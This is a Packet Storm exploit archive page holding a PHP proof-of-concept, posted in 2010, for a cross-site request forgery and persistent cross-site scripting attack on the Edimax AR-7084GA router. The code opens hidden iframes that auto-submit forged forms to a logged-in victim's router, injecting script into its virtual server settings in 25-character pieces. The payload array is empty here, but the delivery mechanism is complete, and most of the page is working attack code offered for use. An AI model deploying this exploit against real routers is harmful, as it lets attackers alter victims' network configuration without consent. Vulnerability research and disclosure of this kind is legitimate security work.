what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Edimax AR-7084GA Cross Site Request Forgery / Cross Site Scripting

Edimax AR-7084GA Cross Site Request Forgery / Cross Site Scripting
Posted Apr 6, 2010
Authored by l3D

Edimax AR-7084GA router cross site request forgery and persistent cross site scripting exploit.

tags | exploit, xss, csrf
SHA-256 | fdb8a4e71657acad6a68281da29d5b8b474bf230dcfdbcfdf2a4e343467886b4

Edimax AR-7084GA Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download


<?php
/*
Edimax AR-7084GA Router CSRF + Persistent XSS Exploit
Firmware version: 2.9.8.1(RUE0.C2A)3.7.6.1
Vulnerable page: http://[xx.xx.xx.xx]/advanced/adv_nat_virsvr.htm
Author: l3D
Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il
IRC: irc://irc.nix.co.il
Email: pupipup33@gmail.com

Like every CSRF attack, the victim must be logged in first before he
opens this malicious page.
Then he should wait some seconds until the router receives all the requests.
It may take few tries until it works.
The code should be split into parts because the router limits the
VIRTUALSVR_Application parameter length.
The author doesn't take any responsibility for what you do with that code.
*/
if(!isset($_GET["ip"]) or !is_string($_GET["ip"])) die("The victim
router's ip isn't set!");
else $ip=$_GET["ip"];

if(!isset($_GET["time"])){
$script=Array(
''
);
foreach($script as $part)
if(strlen($part)>25) die("One or more of the parts can't be longer
then 25 characters!");
$url="http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
for($i=1; $i<=count($script); $i++){
$target=$url."&time=".$i."&script=".urlencode($script[$i-1]);
echo '<iframe src="'.$target.'" height="0" width="0"></iframe>';
}
die();
}
else{
$time=$_GET["time"];
$script=$_GET["script"];
}
?>
<html>
<head>

</head>
<body>
<form method="post" action="http://<?php echo $ip;
?>/Forms/adv_nat_virsvr_1" name="VIRTUALSVR_form">
<input type="hidden" name="VIRTUALSVR_IndexFlag" value="0" />
<input type="hidden" name="VIRTUALSVR_index" value="<?php echo $time; ?>" />
<input type="hidden" name="VIRTUALSVR_Application" value="<?php
echo htmlspecialchars($script); ?>" />
<input type="hidden" name="VIRTUALSVR_startPort" value="<?php echo
$time; ?>" />
<input type="hidden" name="VIRTUALSVR_endPort" value="<?php echo
$time; ?>" />
<input type="hidden" name="VIRTUALSVR_localIP" value="<?php echo $ip; ?>" />
</body>
</html>


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close